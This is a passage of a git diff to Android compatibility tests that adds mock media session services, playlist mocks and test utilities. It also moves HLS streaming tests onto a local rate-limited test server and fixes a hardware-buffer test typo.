+    private List<MediaItem2> getPaginatedResult(List<MediaItem2> items, int page, int pageSize) {
+        if (items == null) {
+            return null;
+        } else if (items.size() == 0) {
+            return new ArrayList<>();
+        }
+
+        final int totalItemCount = items.size();
+        int fromIndex = (page - 1) * pageSize;
+        int toIndex = Math.min(page * pageSize, totalItemCount);
+
+        List<MediaItem2> paginatedResult = new ArrayList<>();
+        try {
+            // The case of (fromIndex >= totalItemCount) will throw exception below.
+            paginatedResult = items.subList(fromIndex, toIndex);
+        } catch (IndexOutOfBoundsException | IllegalArgumentException ex) {
+            Log.d(TAG, "Result is empty for given pagination arguments: totalItemCount="
+                    + totalItemCount + ", page=" + page + ", pageSize=" + pageSize, ex);
+        }
+        return paginatedResult;
+    }
+
+    private MediaItem2 createMediaItem(String mediaId) {
+        Context context = MockMediaLibraryService2.this;
+        return new MediaItem2.Builder(0 /* Flags */)
+                .setMediaId(mediaId)
+                .setDataSourceDesc(DATA_SOURCE_DESC)
+                .setMetadata(new MediaMetadata2.Builder()
+                                .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId)
+                                .build())
+                .build();
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
new file mode 100644
index 0000000..330637e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockMediaSessionService2.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.media.MediaSession2;
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Mock implementation of {@link MediaSessionService2} for testing.
+ */
+public class MockMediaSessionService2 extends MediaSessionService2 {
+    // Keep in sync with the AndroidManifest.xml
+    public static final String ID = "TestSession";
+
+    private static final String DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID = "media_session_service";
+    private static final int DEFAULT_MEDIA_NOTIFICATION_ID = 1001;
+
+    private NotificationChannel mDefaultNotificationChannel;
+    private MediaSession2 mSession;
+    private NotificationManager mNotificationManager;
+
+    @Override
+    public void onCreate() {
+        TestServiceRegistry.getInstance().setServiceInstance(this);
+        super.onCreate();
+        mNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+    }
+
+    @Override
+    public MediaSession2 onCreateSession(String sessionId) {
+        final MockPlayer player = new MockPlayer(1);
+        final SyncHandler handler = (SyncHandler) TestServiceRegistry.getInstance().getHandler();
+        final Executor executor = (runnable) -> handler.post(runnable);
+        SessionCallback sessionCallback = TestServiceRegistry.getInstance().getSessionCallback();
+        if (sessionCallback == null) {
+            // Ensures non-null
+            sessionCallback = new SessionCallback() {};
+        }
+        mSession = new MediaSession2.Builder(this)
+                .setPlayer(player)
+                .setSessionCallback(executor, sessionCallback)
+                .setId(sessionId).build();
+        return mSession;
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        TestServiceRegistry.getInstance().cleanUp();
+    }
+
+    @Override
+    public MediaNotification onUpdateNotification() {
+        if (mDefaultNotificationChannel == null) {
+            mDefaultNotificationChannel = new NotificationChannel(
+                    DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+                    DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID,
+                    NotificationManager.IMPORTANCE_DEFAULT);
+            mNotificationManager.createNotificationChannel(mDefaultNotificationChannel);
+        }
+        Notification notification = new Notification.Builder(
+                this, DEFAULT_MEDIA_NOTIFICATION_CHANNEL_ID)
+                .setContentTitle(getPackageName())
+                .setContentText("Dummt test notification")
+                .setSmallIcon(android.R.drawable.sym_def_app_icon).build();
+        return new MediaNotification(DEFAULT_MEDIA_NOTIFICATION_ID, notification);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
new file mode 100644
index 0000000..ca7bc92
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MockPlaylistAgent.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlaylistAgent;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A mock implementation of {@link MediaPlaylistAgent} for testing.
+ * <p>
+ * Do not use mockito for {@link MediaPlaylistAgent}. Instead, use this.
+ * Mocks created from mockito should not be shared across different threads.
+ */
+public class MockPlaylistAgent extends MediaPlaylistAgent {
+    public final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+    public List<MediaItem2> mPlaylist;
+    public MediaMetadata2 mMetadata;
+    public MediaItem2 mItem;
+    public int mIndex = -1;
+    public @RepeatMode int mRepeatMode = -1;
+    public @ShuffleMode int mShuffleMode = -1;
+
+    public boolean mSetPlaylistCalled;
+    public boolean mUpdatePlaylistMetadataCalled;
+    public boolean mAddPlaylistItemCalled;
+    public boolean mRemovePlaylistItemCalled;
+    public boolean mReplacePlaylistItemCalled;
+    public boolean mSkipToPlaylistItemCalled;
+    public boolean mSkipToPreviousItemCalled;
+    public boolean mSkipToNextItemCalled;
+    public boolean mSetRepeatModeCalled;
+    public boolean mSetShuffleModeCalled;
+
+    @Override
+    public List<MediaItem2> getPlaylist() {
+        return mPlaylist;
+    }
+
+    @Override
+    public void setPlaylist(List<MediaItem2> list, MediaMetadata2 metadata) {
+        mSetPlaylistCalled = true;
+        mPlaylist = list;
+        mMetadata = metadata;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public MediaMetadata2 getPlaylistMetadata() {
+        return mMetadata;
+    }
+
+    @Override
+    public void updatePlaylistMetadata(MediaMetadata2 metadata) {
+        mUpdatePlaylistMetadataCalled = true;
+        mMetadata = metadata;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void addPlaylistItem(int index, MediaItem2 item) {
+        mAddPlaylistItemCalled = true;
+        mIndex = index;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void removePlaylistItem(MediaItem2 item) {
+        mRemovePlaylistItemCalled = true;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void replacePlaylistItem(int index, MediaItem2 item) {
+        mReplacePlaylistItemCalled = true;
+        mIndex = index;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void skipToPlaylistItem(MediaItem2 item) {
+        mSkipToPlaylistItemCalled = true;
+        mItem = item;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void skipToPreviousItem() {
+        mSkipToPreviousItemCalled = true;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void skipToNextItem() {
+        mSkipToNextItemCalled = true;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public int getRepeatMode() {
+        return mRepeatMode;
+    }
+
+    @Override
+    public void setRepeatMode(int repeatMode) {
+        mSetRepeatModeCalled = true;
+        mRepeatMode = repeatMode;
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public int getShuffleMode() {
+        return mShuffleMode;
+    }
+
+    @Override
+    public void setShuffleMode(int shuffleMode) {
+        mSetShuffleModeCalled = true;
+        mShuffleMode = shuffleMode;
+        mCountDownLatch.countDown();
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index f2e078a..c448e98 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -72,6 +72,7 @@
         Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
 
     private boolean mRoutingChanged;
+    private boolean mRoutingChangedDetected;
     private AudioManager mAudioManager;
     private CountDownLatch mRoutingChangedLatch;
     private File mOutFile;
@@ -674,6 +675,7 @@
 
         mRoutingChanged = false;
         mRoutingChangedLooper = null;
+        mRoutingChangedDetected = false;
         // Create MediaPlayer in another thread to make sure there is a looper active for events.
         Thread t = new Thread() {
             @Override
@@ -700,7 +702,16 @@
                         for (AudioDeviceInfo device : devices) {
                             if (routedDevice.getId() != device.getId()) {
                                 mediaPlayer.setPreferredDevice(device);
-                                break;
+                                try {
+                                    Thread.sleep(WAIT_ROUTING_CHANGE_TIME_MS);
+                                } catch (Exception e) {
+                                }
+                                AudioDeviceInfo currentRoutedDevice = mediaPlayer.getRoutedDevice();
+                                if (currentRoutedDevice != null
+                                        && currentRoutedDevice.getId() != routedDevice.getId()) {
+                                    mRoutingChangedDetected = true;
+                                    break;
+                                }
                             }
                         }
                     }
@@ -721,7 +732,8 @@
             mRoutingChangedLooper = null;
         }
         t.join();
-        assertTrue("Routing changed callback has not been called", mRoutingChanged);
+        assertTrue("Routing changed callback has not been called",
+                (mRoutingChanged || !mRoutingChangedDetected));
     }
 
     public void test_mediaPlayer_incallMusicRoutingPermissions() {
diff --git a/tests/tests/media/src/android/media/cts/SessionToken2Test.java b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
new file mode 100644
index 0000000..a930698
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/SessionToken2Test.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.content.Context;
+import android.media.SessionToken2;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link SessionToken2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class SessionToken2Test {
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
+    public void testConstructor_sessionService() {
+        SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+                MockMediaSessionService2.class.getCanonicalName());
+        assertEquals(MockMediaSessionService2.ID, token.getId());
+        assertEquals(mContext.getPackageName(), token.getPackageName());
+        assertEquals(Process.myUid(), token.getUid());
+        assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+    }
+
+    @Test
+    public void testConstructor_libraryService() {
+        SessionToken2 token = new SessionToken2(mContext, mContext.getPackageName(),
+                MockMediaLibraryService2.class.getCanonicalName());
+        assertEquals(MockMediaLibraryService2.ID, token.getId());
+        assertEquals(mContext.getPackageName(), token.getPackageName());
+        assertEquals(Process.myUid(), token.getUid());
+        assertEquals(SessionToken2.TYPE_LIBRARY_SERVICE, token.getType());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index 9f73c25..0bbddf4 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -34,16 +34,24 @@
 import com.android.compatibility.common.util.MediaUtils;
 
 import java.io.IOException;
+import java.io.InterruptedIOException;
 import java.net.HttpCookie;
+import java.net.Socket;
 import java.util.concurrent.atomic.AtomicInteger;
+import org.apache.http.impl.DefaultHttpServerConnection;
+import org.apache.http.impl.io.SocketOutputBuffer;
+import org.apache.http.io.SessionOutputBuffer;
+import org.apache.http.params.HttpParams;
 import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
 
 /**
  * Tests of MediaPlayer streaming capabilities.
  */
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class StreamingMediaPlayerTest extends MediaPlayerTestBase {
+
     private static final String TAG = "StreamingMediaPlayerTest";
 
     private static final String HTTP_H263_AMR_VIDEO_1_KEY =
@@ -59,6 +67,9 @@
     private static final String HTTP_MPEG4_SP_AAC_VIDEO_2_KEY =
             "streaming_media_player_test_http_mpeg4_sp_aac_video2";
     private static final String MODULE_NAME = "CtsMediaTestCases";
+
+    private static final int LOCAL_HLS_BITS_PER_MS = 100 * 1000;
+
     private DynamicConfigDeviceSide dynamicConfig;
 
     private CtsTestServer mServer;
@@ -169,19 +180,15 @@
         playVideoTest(urlString, 640, 360);
     }
 
-    // Streaming HLS video from YouTube
+    // Streaming HLS video downloaded from YouTube
     public void testHLS() throws Exception {
         if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
             return; // skip
         }
 
         // Play stream for 60 seconds
-        playLiveVideoTest("http://www.youtube.com/api/manifest/hls_variant/id/"
-                + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
-                + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
-                + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
-                + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
-                + "0/key/ik0/file/m3u8", 60 * 1000);
+        // limit rate to workaround multiplication overflow in framework
+        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS);
     }
 
     public void testHlsWithHeadersCookies() throws Exception {
@@ -189,14 +196,6 @@
             return; // skip
         }
 
-        final Uri uri = Uri.parse(
-                "http://www.youtube.com/api/manifest/hls_variant/id/"
-                + "0168724d02bd9945/itag/5/source/youtube/playlist_type/DVR/ip/"
-                + "0.0.0.0/ipbits/0/expire/19000000000/sparams/ip,ipbits,expire"
-                + ",id,itag,source,playlist_type/signature/773AB8ACC68A96E5AA48"
-                + "1996AD6A1BBCB70DCB87.95733B544ACC5F01A1223A837D2CF04DF85A336"
-                + "0/key/ik0/file/m3u8");
-
         // TODO: dummy values for headers/cookies till we find a server that actually needs them
         HashMap<String, String> headers = new HashMap<>();
         headers.put("header0", "value0");
@@ -216,7 +215,8 @@
         cookies.add(cookie);
 
         // Play stream for 60 seconds
-        playLiveVideoTest(uri, headers, cookies, 60 * 1000);
+        // limit rate to workaround multiplication overflow in framework
+        localHlsTest("hls_variant/index.m3u8", 60 * 1000, LOCAL_HLS_BITS_PER_MS);
     }
 
     public void testHlsSampleAes_bbb_audio_only_overridable() throws Exception {
@@ -224,16 +224,14 @@
             return; // skip
         }
 
-        String defaultUrl = "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
-                            "bbb_1080p_30fps_11min/audio_only/prog_index.m3u8";
-
-        // if url override provided
-        String testUrl = (mInputUrl != null) ? mInputUrl : defaultUrl;
-
         // Play stream for 60 seconds
-        playLiveAudioOnlyTest(
-                testUrl,
-                60 * 1000);
+        if (mInputUrl != null) {
+            // if url override provided
+            playLiveAudioOnlyTest(mInputUrl, 60 * 1000);
+        } else {
+            localHlsTest("audio_only/index.m3u8", 60 * 1000, -1);
+        }
+
     }
 
     public void testHlsSampleAes_bbb_unmuxed_1500k() throws Exception {
@@ -242,10 +240,7 @@
         }
 
         // Play stream for 60 seconds
-        playLiveVideoTest(
-                "http://storage.googleapis.com/wvmedia/cenc/hls/sample_aes/" +
-                "bbb_1080p_30fps_11min/unmuxed_1500k/prog_index.m3u8",
-                60 * 1000);
+        localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1);
     }
 
 
@@ -658,8 +653,28 @@
     }
 
     private void localHlsTest(final String name, boolean appendQueryString, boolean redirect)
-            throws Throwable {
-        mServer = new CtsTestServer(mContext);
+            throws Exception {
+        localHlsTest(name, null, null, appendQueryString, redirect, 10, -1);
+    }
+
+    private void localHlsTest(final String name, int playTime, int bitsPerMs)
+            throws Exception {
+        localHlsTest(name, null, null, false, false, playTime, bitsPerMs);
+    }
+
+    private void localHlsTest(String name, Map<String, String> headers, List<HttpCookie> cookies,
+            boolean appendQueryString, boolean redirect, int playTime, int bitsPerMs)
+            throws Exception {
+        if (bitsPerMs >= 0) {
+            mServer = new CtsTestServer(mContext) {
+                @Override
+                protected DefaultHttpServerConnection createHttpServerConnection() {
+                    return new RateLimitHttpServerConnection(bitsPerMs);
+                }
+            };
+        } else {
+            mServer = new CtsTestServer(mContext);
+        }
         try {
             String stream_url = null;
             if (redirect) {
@@ -671,9 +686,63 @@
                 stream_url += "?foo=bar/baz";
             }
 
-            playLiveVideoTest(stream_url, 10);
+            playLiveVideoTest(Uri.parse(stream_url), headers, cookies, playTime);
         } finally {
             mServer.shutdown();
         }
     }
+
+    private static final class RateLimitHttpServerConnection extends DefaultHttpServerConnection {
+
+        private final int mBytesPerMs;
+        private int mBytesWritten;
+
+        public RateLimitHttpServerConnection(int bitsPerMs) {
+            mBytesPerMs = bitsPerMs / 8;
+        }
+
+        @Override
+        protected SessionOutputBuffer createHttpDataTransmitter(
+                Socket socket, int buffersize, HttpParams params) throws IOException {
+            return createSessionOutputBuffer(socket, buffersize, params);
+        }
+
+        SessionOutputBuffer createSessionOutputBuffer(
+                Socket socket, int buffersize, HttpParams params) throws IOException {
+            return new SocketOutputBuffer(socket, buffersize, params) {
+                @Override
+                public void write(int b) throws IOException {
+                    write(new byte[] {(byte)b});
+                }
+
+                @Override
+                public void write(byte[] b) throws IOException {
+                    write(b, 0, b.length);
+                }
+
+                @Override
+                public synchronized void write(byte[] b, int off, int len) throws IOException {
+                    mBytesWritten += len;
+                    if (mBytesWritten >= mBytesPerMs * 10) {
+                        int r = mBytesWritten % mBytesPerMs;
+                        int nano = 999999 * r / mBytesPerMs;
+                        delay(mBytesWritten / mBytesPerMs, nano);
+                        mBytesWritten = 0;
+                    }
+                    super.write(b, off, len);
+                }
+
+                private void delay(long millis, int nanos) throws IOException {
+                    try {
+                        Thread.sleep(millis, nanos);
+                        flush();
+                    } catch (InterruptedException e) {
+                        throw new InterruptedIOException();
+                    }
+                }
+
+            };
+        }
+    }
+
 }
diff --git a/tests/tests/media/src/android/media/cts/TestServiceRegistry.java b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
new file mode 100644
index 0000000..a904be4
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.fail;
+
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Handler;
+import androidx.annotation.GuardedBy;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+/**
+ * Keeps the instance of currently running {@link MockMediaSessionService2}. And also provides
+ * a way to control them in one place.
+ * <p>
+ * It only support only one service at a time.
+ */
+public class TestServiceRegistry {
+    @GuardedBy("TestServiceRegistry.class")
+    private static TestServiceRegistry sInstance;
+    @GuardedBy("TestServiceRegistry.class")
+    private MediaSessionService2 mService;
+    @GuardedBy("TestServiceRegistry.class")
+    private SyncHandler mHandler;
+    @GuardedBy("TestServiceRegistry.class")
+    private SessionCallback mSessionCallback;
+    @GuardedBy("TestServiceRegistry.class")
+    private SessionServiceCallback mSessionServiceCallback;
+
+    /**
+     * Callback for session service's lifecyle (onCreate() / onDestroy())
+     */
+    public interface SessionServiceCallback {
+        default void onCreated() {}
+        default void onDestroyed() {}
+    }
+
+    public static TestServiceRegistry getInstance() {
+        synchronized (TestServiceRegistry.class) {
+            if (sInstance == null) {
+                sInstance = new TestServiceRegistry();
+            }
+            return sInstance;
+        }
+    }
+
+    public void setHandler(Handler handler) {
+        synchronized (TestServiceRegistry.class) {
+            mHandler = new SyncHandler(handler.getLooper());
+        }
+    }
+
+    public Handler getHandler() {
+        synchronized (TestServiceRegistry.class) {
+            return mHandler;
+        }
+    }
+
+    public void setSessionServiceCallback(SessionServiceCallback sessionServiceCallback) {
+        synchronized (TestServiceRegistry.class) {
+            mSessionServiceCallback = sessionServiceCallback;
+        }
+    }
+
+    public void setSessionCallback(SessionCallback sessionCallback) {
+        synchronized (TestServiceRegistry.class) {
+            mSessionCallback = sessionCallback;
+        }
+    }
+
+    public SessionCallback getSessionCallback() {
+        synchronized (TestServiceRegistry.class) {
+            return mSessionCallback;
+        }
+    }
+
+    public void setServiceInstance(MediaSessionService2 service) {
+        synchronized (TestServiceRegistry.class) {
+            if (mService != null) {
+                fail("Previous service instance is still running. Clean up manually to ensure"
+                        + " previoulsy running service doesn't break current test");
+            }
+            mService = service;
+            if (mSessionServiceCallback != null) {
+                mSessionServiceCallback.onCreated();
+            }
+        }
+    }
+
+    public MediaSessionService2 getServiceInstance() {
+        synchronized (TestServiceRegistry.class) {
+            return mService;
+        }
+    }
+
+    public void cleanUp() {
+        synchronized (TestServiceRegistry.class) {
+            if (mService != null) {
+                // TODO(jaewan): Remove this, and override SessionService#onDestroy() to do this
+                mService.getSession().close();
+                // stopSelf() would not kill service while the binder connection established by
+                // bindService() exists, and close() above will do the job instead.
+                // So stopSelf() isn't really needed, but just for sure.
+                mService.stopSelf();
+                mService = null;
+            }
+            if (mHandler != null) {
+                mHandler.removeCallbacksAndMessages(null);
+            }
+            mSessionCallback = null;
+            if (mSessionServiceCallback != null) {
+                mSessionServiceCallback.onDestroyed();
+                mSessionServiceCallback = null;
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/TestUtils.java b/tests/tests/media/src/android/media/cts/TestUtils.java
index b64a856..f86f150 100644
--- a/tests/tests/media/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/src/android/media/cts/TestUtils.java
@@ -21,6 +21,9 @@
 
 import android.content.Context;
 import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.SessionToken2;
 import android.media.session.MediaSessionManager;
 import android.os.Bundle;
 import android.os.Handler;
@@ -41,6 +44,28 @@
     private static final int WAIT_SERVICE_TIME_MS = 5000;
 
     /**
+     * Finds the session with id in this test package.
+     *
+     * @param context
+     * @param id
+     * @return
+     */
+    public static SessionToken2 getServiceToken(Context context, String id) {
+        MediaSessionManager manager =
+                (MediaSessionManager) context.getSystemService(Context.MEDIA_SESSION_SERVICE);
+        List<SessionToken2> tokens = manager.getSessionServiceTokens();
+        for (int i = 0; i < tokens.size(); i++) {
+            SessionToken2 token = tokens.get(i);
+            if (context.getPackageName().equals(token.getPackageName())
+                    && id.equals(token.getId())) {
+                return token;
+            }
+        }
+        fail("Failed to find service");
+        return null;
+    }
+
+    /**
      * Compares contents of two bundles.
      *
      * @param a a bundle
@@ -67,6 +92,75 @@
         return true;
     }
 
+    /**
+     * Create a playlist for testing purpose
+     * <p>
+     * Caller's method name will be used for prefix of each media item's media id.
+     *
+     * @param size lits size
+     * @return the newly created playlist
+     */
+    public static List<MediaItem2> createPlaylist(int size) {
+        final List<MediaItem2> list = new ArrayList<>();
+        String caller = Thread.currentThread().getStackTrace()[1].getMethodName();
+        for (int i = 0; i < size; i++) {
+            list.add(new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+                    .setMediaId(caller + "_item_" + (size + 1))
+                    .setDataSourceDesc(
+                            new DataSourceDesc.Builder()
+                                    .setDataSource(new FileDescriptor())
+                                    .build())
+                    .build());
+        }
+        return list;
+    }
+
+    /**
+     * Create a media item with the metadata for testing purpose.
+     *
+     * @return the newly created media item
+     * @see #createMetadata()
+     */
+    public static MediaItem2 createMediaItemWithMetadata() {
+        return new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+                .setMetadata(createMetadata()).build();
+    }
+
+    /**
+     * Create a media metadata for testing purpose.
+     * <p>
+     * Caller's method name will be used for the media id.
+     *
+     * @return the newly created media item
+     */
+    public static MediaMetadata2 createMetadata() {
+        String mediaId = Thread.currentThread().getStackTrace()[1].getMethodName();
+        return new MediaMetadata2.Builder()
+                .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId).build();
+    }
+
+    /**
+     * Handler that always waits until the Runnable finishes.
+     */
+    public static class SyncHandler extends Handler {
+        public SyncHandler(Looper looper) {
+            super(looper);
+        }
+
+        public void postAndSync(Runnable runnable) throws InterruptedException {
+            if (getLooper() == Looper.myLooper()) {
+                runnable.run();
+            } else {
+                final CountDownLatch latch = new CountDownLatch(1);
+                post(()->{
+                    runnable.run();
+                    latch.countDown();
+                });
+                assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+    }
+
     public static class Monitor {
         private int mNumSignal;
 
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
index 324ab9e..116771a 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
@@ -324,7 +324,7 @@
     AHardwareBuffer* buffer = NULL;
     AHardwareBuffer_Desc desc = {};
     desc.width = 120;
-    desc.width = 240;
+    desc.height = 240;
     desc.layers = 1;
     desc.usage = AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT | AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN;
     desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
index 779d5c4..b6ea4af 100644
--- a/tests/tests/net/Android.bp
+++ b/tests/tests/net/Android.bp
@@ -42,6 +42,7 @@
         "FrameworksNetCommonTests",
         "core-tests-support",
         "compatibility-device-util-axt",
+        "cts-net-utils",
         "ctstestrunner-axt",
         "ctstestserver",
         "mockwebserver",
diff --git a/tests/tests/net/AndroidManifest.xml b/tests/tests/net/AndroidManifest.xml
index b261b39..734d9de 100644
--- a/tests/tests/net/AndroidManifest.xml
+++ b/tests/tests/net/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.net.cts">
+    package="android.net.cts"
+    android:targetSandboxVersion="2">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
@@ -34,12 +35,6 @@
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
         <uses-library android:name="org.apache.http.legacy" android:required="false" />
-
-        <receiver android:name=".ConnectivityReceiver">
-            <intent-filter>
-                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
-            </intent-filter>
-        </receiver>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/net/AndroidTest.xml b/tests/tests/net/AndroidTest.xml
index 76ff167..6a19456 100644
--- a/tests/tests/net/AndroidTest.xml
+++ b/tests/tests/net/AndroidTest.xml
@@ -16,11 +16,12 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="networking" />
     <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetTestCases.apk" />
-        <option name="test-file-name" value="CtsNetTestAppForApi23.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.net.cts" />
diff --git a/tests/tests/net/api23Test/Android.bp b/tests/tests/net/api23Test/Android.bp
new file mode 100644
index 0000000..ffe854e2
--- /dev/null
+++ b/tests/tests/net/api23Test/Android.bp
@@ -0,0 +1,52 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
